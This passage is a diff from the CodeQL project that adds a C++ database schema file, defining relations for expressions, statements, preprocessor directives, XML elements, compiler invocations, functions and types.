+| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type
+| 110 = @isabstractexpr // __is_abstract ::= type
+| 111 = @isbaseofexpr // __is_base_of ::= type type
+| 112 = @isclassexpr // __is_class ::= type
+| 113 = @isconvtoexpr // __is_convertible_to ::= type type
+| 114 = @isemptyexpr // __is_empty ::= type
+| 115 = @isenumexpr // __is_enum ::= type
+| 116 = @ispodexpr // __is_pod ::= type
+| 117 = @ispolyexpr // __is_polymorphic ::= type
+| 118 = @isunionexpr // __is_union ::= type
+| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type
+| 120 = @intaddrexpr // EDG internal builtin, used to implement offsetof
+// ...
+| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type
+| 123 = @literal
+| 124 = @uuidof
+| 127 = @aggregateliteral
+| 128 = @delete_array_expr
+| 129 = @new_array_expr
+// ... 130 @objc_array_literal deprecated
+// ... 131 @objc_dictionary_literal deprecated
+| 132 = @foldexpr
+// ...
+| 200 = @ctordirectinit
+| 201 = @ctorvirtualinit
+| 202 = @ctorfieldinit
+| 203 = @ctordelegatinginit
+| 204 = @dtordirectdestruct
+| 205 = @dtorvirtualdestruct
+| 206 = @dtorfielddestruct
+// ...
+| 210 = @static_cast
+| 211 = @reinterpret_cast
+| 212 = @const_cast
+| 213 = @dynamic_cast
+| 214 = @c_style_cast
+| 215 = @lambdaexpr
+| 216 = @param_ref
+| 217 = @noopexpr
+// ...
+| 294 = @istriviallyconstructibleexpr
+| 295 = @isdestructibleexpr
+| 296 = @isnothrowdestructibleexpr
+| 297 = @istriviallydestructibleexpr
+| 298 = @istriviallyassignableexpr
+| 299 = @isnothrowassignableexpr
+| 300 = @istrivialexpr
+| 301 = @isstandardlayoutexpr
+| 302 = @istriviallycopyableexpr
+| 303 = @isliteraltypeexpr
+| 304 = @hastrivialmoveconstructorexpr
+| 305 = @hastrivialmoveassignexpr
+| 306 = @hasnothrowmoveassignexpr
+| 307 = @isconstructibleexpr
+| 308 = @isnothrowconstructibleexpr
+| 309 = @hasfinalizerexpr
+| 310 = @isdelegateexpr
+| 311 = @isinterfaceclassexpr
+| 312 = @isrefarrayexpr
+| 313 = @isrefclassexpr
+| 314 = @issealedexpr
+| 315 = @issimplevalueclassexpr
+| 316 = @isvalueclassexpr
+| 317 = @isfinalexpr
+| 319 = @noexceptexpr
+| 320 = @builtinshufflevector
+| 321 = @builtinchooseexpr
+| 322 = @builtinaddressof
+| 323 = @vec_fill
+| 324 = @builtinconvertvector
+| 325 = @builtincomplex
+| 326 = @spaceshipexpr
+| 327 = @co_await
+| 328 = @co_yield
+| 329 = @temp_init
+;
+
+@var_args_expr = @vastartexpr
+               | @vaendexpr
+               | @vaargexpr
+               | @vacopyexpr
+               ;
+
+@builtin_op = @var_args_expr
+            | @noopexpr
+            | @offsetofexpr
+            | @intaddrexpr
+            | @hasassignexpr
+            | @hascopyexpr
+            | @hasnothrowassign
+            | @hasnothrowconstr
+            | @hasnothrowcopy
+            | @hastrivialassign
+            | @hastrivialconstr
+            | @hastrivialcopy
+            | @hastrivialdestructor
+            | @hasuserdestr
+            | @hasvirtualdestr
+            | @isabstractexpr
+            | @isbaseofexpr
+            | @isclassexpr
+            | @isconvtoexpr
+            | @isemptyexpr
+            | @isenumexpr
+            | @ispodexpr
+            | @ispolyexpr
+            | @isunionexpr
+            | @typescompexpr
+            | @builtinshufflevector
+            | @builtinconvertvector
+            | @builtinaddressof
+            | @istriviallyconstructibleexpr
+            | @isdestructibleexpr
+            | @isnothrowdestructibleexpr
+            | @istriviallydestructibleexpr
+            | @istriviallyassignableexpr
+            | @isnothrowassignableexpr
+            | @isstandardlayoutexpr
+            | @istriviallycopyableexpr
+            | @isliteraltypeexpr
+            | @hastrivialmoveconstructorexpr
+            | @hastrivialmoveassignexpr
+            | @hasnothrowmoveassignexpr
+            | @isconstructibleexpr
+            | @isnothrowconstructibleexpr
+            | @hasfinalizerexpr
+            | @isdelegateexpr
+            | @isinterfaceclassexpr
+            | @isrefarrayexpr
+            | @isrefclassexpr
+            | @issealedexpr
+            | @issimplevalueclassexpr
+            | @isvalueclassexpr
+            | @isfinalexpr
+            | @builtinchooseexpr
+            | @builtincomplex
+            ;
+
+new_allocated_type(
+    unique int expr: @new_expr ref,
+    int type_id: @type ref
+);
+
+new_array_allocated_type(
+    unique int expr: @new_array_expr ref,
+    int type_id: @type ref
+);
+
+/**
+ * The field being initialized by an initializer expression within an aggregate
+ * initializer for a class/struct/union.
+ */
+#keyset[aggregate, field]
+aggregate_field_init(
+    int aggregate: @aggregateliteral ref,
+    int initializer: @expr ref,
+    int field: @membervariable ref
+);
+
+/**
+ * The index of the element being initialized by an initializer expression
+ * within an aggregate initializer for an array.
+ */
+#keyset[aggregate, element_index]
+aggregate_array_init(
+    int aggregate: @aggregateliteral ref,
+    int initializer: @expr ref,
+    int element_index: int ref
+);
+
+@ctorinit = @ctordirectinit
+          | @ctorvirtualinit
+          | @ctorfieldinit
+          | @ctordelegatinginit;
+@dtordestruct = @dtordirectdestruct
+              | @dtorvirtualdestruct
+              | @dtorfielddestruct;
+
+
+condition_decl_bind(
+    unique int expr: @condition_decl ref,
+    unique int decl: @declaration ref
+);
+
+typeid_bind(
+    unique int expr: @type_id ref,
+    int type_id: @type ref
+);
+
+uuidof_bind(
+    unique int expr: @uuidof ref,
+    int type_id: @type ref
+);
+
+@runtime_sizeof_or_alignof = @runtime_sizeof | @runtime_alignof;
+
+sizeof_bind(
+    unique int expr: @runtime_sizeof_or_alignof ref,
+    int type_id: @type ref
+);
+
+code_block(
+    unique int block: @literal ref,
+    unique int routine: @function ref
+);
+
+lambdas(
+    unique int expr: @lambdaexpr ref,
+    string default_capture: string ref,
+    boolean has_explicit_return_type: boolean ref
+);
+
+lambda_capture(
+    unique int id: @lambdacapture,
+    int lambda: @lambdaexpr ref,
+    int index: int ref,
+    int field: @membervariable ref,
+    boolean captured_by_reference: boolean ref,
+    boolean is_implicit: boolean ref,
+    int location: @location_default ref
+);
+
+@funbindexpr = @routineexpr
+             | @new_expr
+             | @delete_expr
+             | @delete_array_expr
+             | @ctordirectinit
+             | @ctorvirtualinit
+             | @ctordelegatinginit
+             | @dtordirectdestruct
+             | @dtorvirtualdestruct;
+
+@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct;
+@addressable = @function | @variable ;
+@accessible = @addressable | @enumconstant ;
+
+@access = @varaccess | @routineexpr ;
+
+fold(
+    int expr: @foldexpr ref,
+    string operator: string ref,
+    boolean is_left_fold: boolean ref
+);
+
+stmts(
+    unique int id: @stmt,
+    int kind: int ref,
+    int location: @location_stmt ref
+);
+
+case @stmt.kind of
+    1 = @stmt_expr
+|   2 = @stmt_if
+|   3 = @stmt_while
+|   4 = @stmt_goto
+|   5 = @stmt_label
+|   6 = @stmt_return
+|   7 = @stmt_block
+|   8 = @stmt_end_test_while // do { ... } while ( ... )
+|   9 = @stmt_for
+|  10 = @stmt_switch_case
+|  11 = @stmt_switch
+|  13 = @stmt_asm // "asm" statement or the body of an asm function
+|  15 = @stmt_try_block
+|  16 = @stmt_microsoft_try // Microsoft
+|  17 = @stmt_decl
+|  18 = @stmt_set_vla_size // C99
+|  19 = @stmt_vla_decl // C99
+|  25 = @stmt_assigned_goto // GNU
+|  26 = @stmt_empty
+|  27 = @stmt_continue
+|  28 = @stmt_break
+|  29 = @stmt_range_based_for // C++11
+// ...  30 @stmt_at_autoreleasepool_block deprecated
+// ...  31 @stmt_objc_for_in deprecated
+// ...  32 @stmt_at_synchronized deprecated
+|  33 = @stmt_handler
+// ...  34 @stmt_finally_end deprecated
+|  35 = @stmt_constexpr_if
+|  37 = @stmt_co_return
+;
+
+type_vla(
+    int type_id: @type ref,
+    int decl: @stmt_vla_decl ref
+);
+
+variable_vla(
+    int var: @variable ref,
+    int decl: @stmt_vla_decl ref
+);
+
+if_then(
+    unique int if_stmt: @stmt_if ref,
+    int then_id: @stmt ref
+);
+
+if_else(
+    unique int if_stmt: @stmt_if ref,
+    int else_id: @stmt ref
+);
+
+constexpr_if_then(
+    unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+    int then_id: @stmt ref
+);
+
+constexpr_if_else(
+    unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+    int else_id: @stmt ref
+);
+
+while_body(
+    unique int while_stmt: @stmt_while ref,
+    int body_id: @stmt ref
+);
+
+do_body(
+    unique int do_stmt: @stmt_end_test_while ref,
+    int body_id: @stmt ref
+);
+
+#keyset[switch_stmt, index]
+switch_case(
+    int switch_stmt: @stmt_switch ref,
+    int index: int ref,
+    int case_id: @stmt_switch_case ref
+);
+
+switch_body(
+    unique int switch_stmt: @stmt_switch ref,
+    int body_id: @stmt ref
+);
+
+for_initialization(
+    unique int for_stmt: @stmt_for ref,
+    int init_id: @stmt ref
+);
+
+for_condition(
+    unique int for_stmt: @stmt_for ref,
+    int condition_id: @expr ref
+);
+
+for_update(
+    unique int for_stmt: @stmt_for ref,
+    int update_id: @expr ref
+);
+
+for_body(
+    unique int for_stmt: @stmt_for ref,
+    int body_id: @stmt ref
+);
+
+@stmtparent = @stmt | @expr_stmt ;
+stmtparents(
+    unique int id: @stmt ref,
+    int index: int ref,
+    int parent: @stmtparent ref
+);
+
+ishandler(unique int block: @stmt_block ref);
+
+@cfgnode = @stmt | @expr | @function | @initialiser ;
+
+stmt_decl_bind(
+    int stmt: @stmt_decl ref,
+    int num: int ref,
+    int decl: @declaration ref
+);
+
+stmt_decl_entry_bind(
+    int stmt: @stmt_decl ref,
+    int num: int ref,
+    int decl_entry: @element ref
+);
+
+@functionorblock = @function | @stmt_block;
+
+blockscope(
+    unique int block: @stmt_block ref,
+    int enclosing: @functionorblock ref
+);
+
+@jump = @stmt_goto | @stmt_break | @stmt_continue;
+
+@jumporlabel = @jump | @stmt_label | @literal;
+
+jumpinfo(
+    unique int id: @jumporlabel ref,
+    string str: string ref,
+    int target: @stmt ref
+);
+
+preprocdirects(
+    unique int id: @preprocdirect,
+    int kind: int ref,
+    int location: @location_default ref
+);
+case @preprocdirect.kind of
+   0 = @ppd_if
+|  1 = @ppd_ifdef
+|  2 = @ppd_ifndef
+|  3 = @ppd_elif
+|  4 = @ppd_else
+|  5 = @ppd_endif
+|  6 = @ppd_plain_include
+|  7 = @ppd_define
+|  8 = @ppd_undef
+|  9 = @ppd_line
+| 10 = @ppd_error
+| 11 = @ppd_pragma
+| 12 = @ppd_objc_import
+| 13 = @ppd_include_next
+| 18 = @ppd_warning
+;
+
+@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next;
+
+@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif;
+
+preprocpair(
+    int begin : @ppd_branch ref,
+    int elseelifend : @preprocdirect ref
+);
+
+preproctrue(int branch : @ppd_branch ref);
+preprocfalse(int branch : @ppd_branch ref);
+
+preproctext(
+    unique int id: @preprocdirect ref,
+    string head: string ref,
+    string body: string ref
+);
+
+includes(
+    unique int id: @ppd_include ref,
+    int included: @file ref
+);
+
+link_targets(
+    unique int id: @link_target,
+    int binary: @file ref
+);
+
+link_parent(
+    int element : @element ref,
+    int link_target : @link_target ref
+);
+
+/* XML Files */
+
+xmlEncoding(unique int id: @file ref, string encoding: string ref);
+
+xmlDTDs(
+    unique int id: @xmldtd,
+    string root: string ref,
+    string publicId: string ref,
+    string systemId: string ref,
+    int fileid: @file ref
+);
+
+xmlElements(
+    unique int id: @xmlelement,
+    string name: string ref,
+    int parentid: @xmlparent ref,
+    int idx: int ref,
+    int fileid: @file ref
+);
+
+xmlAttrs(
+    unique int id: @xmlattribute,
+    int elementid: @xmlelement ref,
+    string name: string ref,
+    string value: string ref,
+    int idx: int ref,
+    int fileid: @file ref
+);
+
+xmlNs(
+    int id: @xmlnamespace,
+    string prefixName: string ref,
+    string URI: string ref,
+    int fileid: @file ref
+);
+
+xmlHasNs(
+    int elementId: @xmlnamespaceable ref,
+    int nsId: @xmlnamespace ref,
+    int fileid: @file ref
+);
+
+xmlComments(
+    unique int id: @xmlcomment,
+    string text: string ref,
+    int parentid: @xmlparent ref,
+    int fileid: @file ref
+);
+
+xmlChars(
+    unique int id: @xmlcharacters,
+    string text: string ref,
+    int parentid: @xmlparent ref,
+    int idx: int ref,
+    int isCDATA: int ref,
+    int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+    int xmlElement: @xmllocatable ref,
+    int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters
+              | @xmlelement
+              | @xmlcomment
+              | @xmlattribute
+              | @xmldtd
+              | @file
+              | @xmlnamespace;
diff --git a/cpp/ql/lib/upgrades/e9a518baf14f4322ac243578a8e1391386ff030f/semmlecode.cpp.dbscheme b/cpp/ql/lib/upgrades/e9a518baf14f4322ac243578a8e1391386ff030f/semmlecode.cpp.dbscheme
new file mode 100644
index 00000000000..cf72c8898d1
--- /dev/null
+++ b/cpp/ql/lib/upgrades/e9a518baf14f4322ac243578a8e1391386ff030f/semmlecode.cpp.dbscheme
@@ -0,0 +1,2111 @@
+
+/**
+ * An invocation of the compiler. Note that more than one file may be
+ * compiled per invocation. For example, this command compiles three
+ * source files:
+ *
+ *   gcc -c f1.c f2.c f3.c
+ *
+ * The `id` simply identifies the invocation, while `cwd` is the working
+ * directory from which the compiler was invoked.
+ */
+compilations(
+    /**
+     * An invocation of the compiler. Note that more than one file may
+     * be compiled per invocation. For example, this command compiles
+     * three source files:
+     *
+     *   gcc -c f1.c f2.c f3.c
+     */
+    unique int id : @compilation,
+    string cwd : string ref
+);
+
+/**
+ * The arguments that were passed to the extractor for a compiler
+ * invocation. If `id` is for the compiler invocation
+ *
+ *   gcc -c f1.c f2.c f3.c
+ *
+ * then typically there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0   | *path to extractor*
+ * 1   | `--mimic`
+ * 2   | `/usr/bin/gcc`
+ * 3   | `-c`
+ * 4   | f1.c
+ * 5   | f2.c
+ * 6   | f3.c
+ */
+#keyset[id, num]
+compilation_args(
+    int id : @compilation ref,
+    int num : int ref,
+    string arg : string ref
+);
+
+/**
+ * The source files that are compiled by a compiler invocation.
+ * If `id` is for the compiler invocation
+ *
+ *   gcc -c f1.c f2.c f3.c
+ *
+ * then there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0   | f1.c
+ * 1   | f2.c
+ * 2   | f3.c
+ *
+ * Note that even if those files `#include` headers, those headers
+ * do not appear as rows.
+ */
+#keyset[id, num]
+compilation_compiling_files(
+    int id : @compilation ref,
+    int num : int ref,
+    int file : @file ref
+);
+
+/**
+ * The time taken by the extractor for a compiler invocation.
+ *
+ * For each file `num`, there will be rows for
+ *
+ * kind | seconds
+ * ---- | ---
+ * 1    | CPU seconds used by the extractor frontend
+ * 2    | Elapsed seconds during the extractor frontend
+ * 3    | CPU seconds used by the extractor backend
+ * 4    | Elapsed seconds during the extractor backend
+ */
+#keyset[id, num, kind]
+compilation_time(
+    int id : @compilation ref,
+    int num : int ref,
+    /* kind:
+       1 = frontend_cpu_seconds
+       2 = frontend_elapsed_seconds
+       3 = extractor_cpu_seconds
+       4 = extractor_elapsed_seconds
+    */
+    int kind : int ref,
+    float seconds : float ref
+);
+
+/**
+ * An error or warning generated by the extractor.
+ * The diagnostic message `diagnostic` was generated during compiler
+ * invocation `compilation`, and is the `file_number_diagnostic_number`th
+ * message generated while extracting the `file_number`th file of that
+ * invocation.
+ */
+#keyset[compilation, file_number, file_number_diagnostic_number]
+diagnostic_for(
+    int diagnostic : @diagnostic ref,
+    int compilation : @compilation ref,
+    int file_number : int ref,
+    int file_number_diagnostic_number : int ref
+);
+
+/**
+ * If extraction was successful, then `cpu_seconds` and
+ * `elapsed_seconds` are the CPU time and elapsed time (respectively)
+ * that extraction took for compiler invocation `id`.
+ */
+compilation_finished(
+    unique int id : @compilation ref,
+    float cpu_seconds : float ref,
+    float elapsed_seconds : float ref
+);
+
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+    int id : @externalDataElement,
+    string path : string ref,
+    int column: int ref,
+    string value : string ref
+);
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/**
+ * Information about packages that provide code used during compilation.
+ * The `id` is just a unique identifier.
+ * The `namespace` is typically the name of the package manager that
+ * provided the package (e.g. "dpkg" or "yum").
+ * The `package_name` is the name of the package, and `version` is its
+ * version (as a string).
+ */
+external_packages(
+    unique int id: @external_package,
+    string namespace : string ref,
+    string package_name : string ref,
+    string version : string ref
+);
+
+/**
+ * Holds if File `fileid` was provided by package `package`.
+ */
+header_to_external_package(
+    int fileid : @file ref,
+    int package : @external_package ref
+);
+
+/*
+ * Version history
+ */
+
+svnentries(
+    unique int id : @svnentry,
+    string revision : string ref,
+    string author : string ref,
+    date revisionDate : date ref,
+    int changeSize : int ref
+)
+
+svnaffectedfiles(
+    int id : @svnentry ref,
+    int file : @file ref,
+    string action : string ref
+)
+
+svnentrymsg(
+    unique int id : @svnentry ref,
+    string message : string ref
+)
+
+svnchurn(
+    int commit : @svnentry ref,
+    int file : @file ref,
+    int addedLines : int ref,
+    int deletedLines : int ref
+)
+
+/*
+ * C++ dbscheme
+ */
+
+@location = @location_stmt | @location_expr | @location_default ;
+
+/**
+ * The location of an element that is not an expression or a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+    /** The location of an element that is not an expression or a statement. */
+    unique int id: @location_default,
+    int container: @container ref,
+    int startLine: int ref,
+    int startColumn: int ref,
+    int endLine: int ref,
+    int endColumn: int ref
+);
+
+/**
+ * The location of a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_stmt(
+    /** The location of a statement. */
+    unique int id: @location_stmt,
+    int container: @container ref,
+    int startLine: int ref,
+    int startColumn: int ref,
+    int endLine: int ref,
+    int endColumn: int ref
+);
+
+/**
+ * The location of an expression.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_expr(
+    /** The location of an expression. */
+    unique int id: @location_expr,
+    int container: @container ref,
+    int startLine: int ref,
+    int startColumn: int ref,
+    int endLine: int ref,
+    int endColumn: int ref
+);
+
+/** An element for which line-count information is available. */
+@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable;
+
+numlines(
+    int element_id: @sourceline ref,
+    int num_lines: int ref,
+    int num_code: int ref,
+    int num_comment: int ref
+);
+
+diagnostics(
+    unique int id: @diagnostic,
+    int severity: int ref,
+    string error_tag: string ref,
+    string error_message: string ref,
+    string full_error_message: string ref,
+    int location: @location_default ref
+);
+
+files(
+    unique int id: @file,
+    string name: string ref
+);
+
+folders(
+    unique int id: @folder,
+    string name: string ref
+);
+
+@container = @folder | @file
+
+containerparent(
+    int parent: @container ref,
+    unique int child: @container ref
+);
+
+fileannotations(
+    int id: @file ref,
+    int kind: int ref,
+    string name: string ref,
+    string value: string ref
+);
+
+inmacroexpansion(
+    int id: @element ref,
+    int inv: @macroinvocation ref
+);
+
+affectedbymacroexpansion(
+    int id: @element ref,
+    int inv: @macroinvocation ref
+);
+
+/*
+  case @macroinvocations.kind of
+    1 = macro expansion
+  | 2 = other macro reference
+  ;
+*/
+macroinvocations(
+    unique int id: @macroinvocation,
+    int macro_id: @ppd_define ref,
+    int location: @location_default ref,
+    int kind: int ref
+);
+
+macroparent(
+    unique int id: @macroinvocation ref,
+    int parent_id: @macroinvocation ref
+);
+
+// a macroinvocation may be part of another location
+// the way to find a constant expression that uses a macro
+// is thus to find a constant expression that has a location
+// to which a macro invocation is bound
+macrolocationbind(
+    int id: @macroinvocation ref,
+    int location: @location ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_unexpanded(
+    int invocation: @macroinvocation ref,
+    int argument_index: int ref,
+    string text: string ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_expanded(
+    int invocation: @macroinvocation ref,
+    int argument_index: int ref,
+    string text: string ref
+);
+
+/*
+  case @function.kind of
+    1 = normal
+  | 2 = constructor
+  | 3 = destructor
+  | 4 = conversion
+  | 5 = operator
+  | 6 = builtin     // GCC built-in functions, e.g. __builtin___memcpy_chk
+  ;
+*/
+functions(
+    unique int id: @function,
+    string name: string ref,
+    int kind: int ref
+);
+
+function_entry_point(int id: @function ref, unique int entry_point: @stmt ref);
+
+function_return_type(int id: @function ref, int return_type: @type ref);
+
+/** If `function` is a coroutine, then this gives the
+    std::experimental::resumable_traits instance associated with it,
+    and the variables representing the `handle` and `promise` for it. */
+coroutine(
+  unique int function: @function ref,
+  int traits: @type ref,
+  int handle: @variable ref,
+  int promise: @variable ref
+);
+
+/** The `new` function used for allocating the coroutine state, if any. */
+coroutine_new(
+  unique int function: @function ref,
+  int new: @function ref
+);
+
+/** The `delete` function used for deallocating the coroutine state, if any. */
+coroutine_delete(
+  unique int function: @function ref,
+  int delete: @function ref
+);
+
+purefunctions(unique int id: @function ref);
+
+function_deleted(unique int id: @function ref);
+
+function_defaulted(unique int id: @function ref);
+
+member_function_this_type(unique int id: @function ref, int this_type: @type ref);
+
+#keyset[id, type_id]
+fun_decls(
+    int id: @fun_decl,
+    int function: @function ref,
+    int type_id: @type ref,
+    string name: string ref,
+    int location: @location_default ref
+);
+fun_def(unique int id: @fun_decl ref);
+fun_specialized(unique int id: @fun_decl ref);
+fun_implicit(unique int id: @fun_decl ref);
+fun_decl_specifiers(
+    int id: @fun_decl ref,
+    string name: string ref
+)
+#keyset[fun_decl, index]
+fun_decl_throws(
+    int fun_decl: @fun_decl ref,
+    int index: int ref,
+    int type_id: @type ref
+);
+/* an empty throw specification is different from none */
+fun_decl_empty_throws(unique int fun_decl: @fun_decl ref);
+fun_decl_noexcept(
+    int fun_decl: @fun_decl ref,
+    int constant: @expr ref
+);
+fun_decl_empty_noexcept(int fun_decl: @fun_decl ref);
+fun_decl_typedef_type(
+    unique int fun_decl: @fun_decl ref,
+    int typedeftype_id: @usertype ref
+);
+
+param_decl_bind(
+    unique int id: @var_decl ref,
+    int index: int ref,
+    int fun_decl: @fun_decl ref
+);
+
+#keyset[id, type_id]
+var_decls(
+    int id: @var_decl,
+    int variable: @variable ref,
+    int type_id: @type ref,
+    string name: string ref,
+    int location: @location_default ref
+);
+var_def(unique int id: @var_decl ref);
+var_decl_specifiers(
+    int id: @var_decl ref,
+    string name: string ref
+)
+is_structured_binding(unique int id: @variable ref);
+
+type_decls(
+    unique int id: @type_decl,
+    int type_id: @type ref,
+    int location: @location_default ref
+);
+type_def(unique int id: @type_decl ref);
+type_decl_top(
+    unique int type_decl: @type_decl ref
+);
+
+namespace_decls(
+    unique int id: @namespace_decl,
+    int namespace_id: @namespace ref,
+    int location: @location_default ref,
+    int bodylocation: @location_default ref
+);
+
+usings(
+    unique int id: @using,
+    int element_id: @element ref,
+    int location: @location_default ref
+);
+
+/** The element which contains the `using` declaration. */
+using_container(
+    int parent: @element ref,
+    int child: @using ref
+);
+
+static_asserts(
+    unique int id: @static_assert,
+    int condition : @expr ref,
+    string message : string ref,
+    int location: @location_default ref,
+    int enclosing : @element ref
+);
+
+// each function has an ordered list of parameters
+#keyset[id, type_id]
+#keyset[function, index, type_id]
+params(
+    int id: @parameter,
+    int function: @functionorblock ref,
+    int index: int ref,
+    int type_id: @type ref
+);
+
+overrides(int new: @function ref, int old: @function ref);
+
+#keyset[id, type_id]
+membervariables(
+    int id: @membervariable,
+    int type_id: @type ref,
+    string name: string ref
+);
+
+#keyset[id, type_id]
+globalvariables(
+    int id: @globalvariable,
+    int type_id: @type ref,
+    string name: string ref
+);
+
+#keyset[id, type_id]
+localvariables(
+    int id: @localvariable,
+    int type_id: @type ref,
+    string name: string ref
+);
+
+autoderivation(
+    unique int var: @variable ref,
+    int derivation_type: @type ref
+);
+
+enumconstants(
+    unique int id: @enumconstant,
+    int parent: @usertype ref,
+    int index: int ref,
+    int type_id: @type ref,
+    string name: string ref,
+    int location: @location_default ref
+);
+
+@variable = @localscopevariable | @globalvariable | @membervariable;
+
+@localscopevariable = @localvariable | @parameter;
+
+/*
+  Built-in types are the fundamental types, e.g., integral, floating, and void.
+
+  case @builtintype.kind of
+    1 = error
+  | 2 = unknown
+  | 3 = void
+  | 4 = boolean
+  | 5 = char
+  | 6 = unsigned_char
+  | 7 = signed_char
+  | 8 = short
+  | 9 = unsigned_short
+  | 10 = signed_short
+  | 11 = int
+  | 12 = unsigned_int
+  | 13 = signed_int
+  | 14 = long
+  | 15 = unsigned_long
+  | 16 = signed_long
+  | 17 = long_long
+  | 18 = unsigned_long_long
+  | 19 = signed_long_long
+  | 20 = __int8                 // Microsoft-specific
+  | 21 = __int16                // Microsoft-specific
+  | 22 = __int32                // Microsoft-specific
+  | 23 = __int64                // Microsoft-specific
+  | 24 = float
+  | 25 = double
+  | 26 = long_double
+  | 27 = _Complex_float         // C99-specific
+  | 28 = _Complex_double        // C99-specific
+  | 29 = _Complex_long double   // C99-specific
+  | 30 = _Imaginary_float       // C99-specific
+  | 31 = _Imaginary_double      // C99-specific
+  | 32 = _Imaginary_long_double // C99-specific
+  | 33 = wchar_t                // Microsoft-specific
+  | 34 = decltype_nullptr       // C++11
+  | 35 = __int128
+  | 36 = unsigned___int128
+  | 37 = signed___int128
+  | 38 = __float128
+  | 39 = _Complex___float128
+  | 40 = _Decimal32
+  | 41 = _Decimal64
+  | 42 = _Decimal128
+  | 43 = char16_t
+  | 44 = char32_t
+  | 45 = _Float32
+  | 46 = _Float32x
+  | 47 = _Float64
+  | 48 = _Float64x
+  | 49 = _Float128
+  | 50 = _Float128x
+  | 51 = char8_t
+  ;
+*/
+builtintypes(
+    unique int id: @builtintype,
+    string name: string ref,
+    int kind: int ref,
+    int size: int ref,
+    int sign: int ref,
+    int alignment: int ref
+);
+
+/*
+  Derived types are types that are directly derived from existing types and
+  point to, refer to, transform type data to return a new type.
+
+  case @derivedtype.kind of
+    1 = pointer
+  | 2 = reference
+  | 3 = type_with_specifiers
+  | 4 = array
+  | 5 = gnu_vector
+  | 6 = routineptr
+  | 7 = routinereference
+  | 8 = rvalue_reference // C++11
+// ... 9 type_conforming_to_protocols deprecated
+  | 10 = block
+  ;
+*/
+derivedtypes(
+    unique int id: @derivedtype,
+    string name: string ref,
+    int kind: int ref,
+    int type_id: @type ref
+);
+
+pointerishsize(unique int id: @derivedtype ref,
+    int size: int ref,
+    int alignment: int ref);
+
+arraysizes(
+    unique int id: @derivedtype ref,
+    int num_elements: int ref,
+    int bytesize: int ref,
+    int alignment: int ref
+);
+
+typedefbase(
+    unique int id: @usertype ref,
+    int type_id: @type ref
+);
+
+/**
+ * An instance of the C++11 `decltype` operator.  For example:
+ * ```
+ * int a;
+ * decltype(1+a) b;
+ * ```
+ * Here `expr` is `1+a`.
+ *
+ * Sometimes an additional pair of parentheses around the expression
+ * would change the semantics of this decltype, e.g.
+ * ```
+ * struct A { double x; };
+ * const A* a = new A();
+ * decltype( a->x ); // type is double
+ * decltype((a->x)); // type is const double&
+ * ```
+ * (Please consult the C++11 standard for more details).
+ * `parentheses_would_change_meaning` is `true` iff that is the case.
+ */
+#keyset[id, expr]
+decltypes(
+    int id: @decltype,
+    int expr: @expr ref,
+    int base_type: @type ref,
+    boolean parentheses_would_change_meaning: boolean ref
+);
+
+/*
+  case @usertype.kind of
+    1 = struct
+  | 2 = class
+  | 3 = union
+  | 4 = enum
+  | 5 = typedef                       // classic C: typedef typedef type name
+  | 6 = template
+  | 7 = template_parameter
+  | 8 = template_template_parameter
+  | 9 = proxy_class                   // a proxy class associated with a template parameter
+// ... 10 objc_class deprecated
+// ... 11 objc_protocol deprecated
+// ... 12 objc_category deprecated
+  | 13 = scoped_enum
+  | 14 = using_alias                  // a using name = type style typedef
+  ;
+*/
+usertypes(
+    unique int id: @usertype,
+    string name: string ref,
+    int kind: int ref
+);
+
+usertypesize(
+    unique int id: @usertype ref,
+    int size: int ref,
+    int alignment: int ref
+);
+
+usertype_final(unique int id: @usertype ref);
+
+usertype_uuid(
+    unique int id: @usertype ref,
+    string uuid: string ref
+);
+
+mangled_name(
+    unique int id: @declaration ref,
+    int mangled_name : @mangledname
+);
+
+is_pod_class(unique int id: @usertype ref);
+is_standard_layout_class(unique int id: @usertype ref);
+
+is_complete(unique int id: @usertype ref);
+
+is_class_template(unique int id: @usertype ref);
+class_instantiation(
+    int to: @usertype ref,
+    int from: @usertype ref
+);
+class_template_argument(
+    int type_id: @usertype ref,
+    int index: int ref,
+    int arg_type: @type ref
+);
+class_template_argument_value(
+    int type_id: @usertype ref,
+    int index: int ref,
+    int arg_value: @expr ref
+);
+
+is_proxy_class_for(
+    unique int id: @usertype ref,
+    unique int templ_param_id: @usertype ref
+);
+
+type_mentions(
+    unique int id: @type_mention,
+    int type_id: @type ref,
+    int location: @location ref,
+    // a_symbol_reference_kind from the EDG frontend.  See symbol_ref.h there.
+    int kind: int ref
+);
+
+is_function_template(unique int id: @function ref);
+function_instantiation(
+    unique int to: @function ref,
+    int from: @function ref
+);
+function_template_argument(
+    int function_id: @function ref,
+    int index: int ref,
+    int arg_type: @type ref
+);
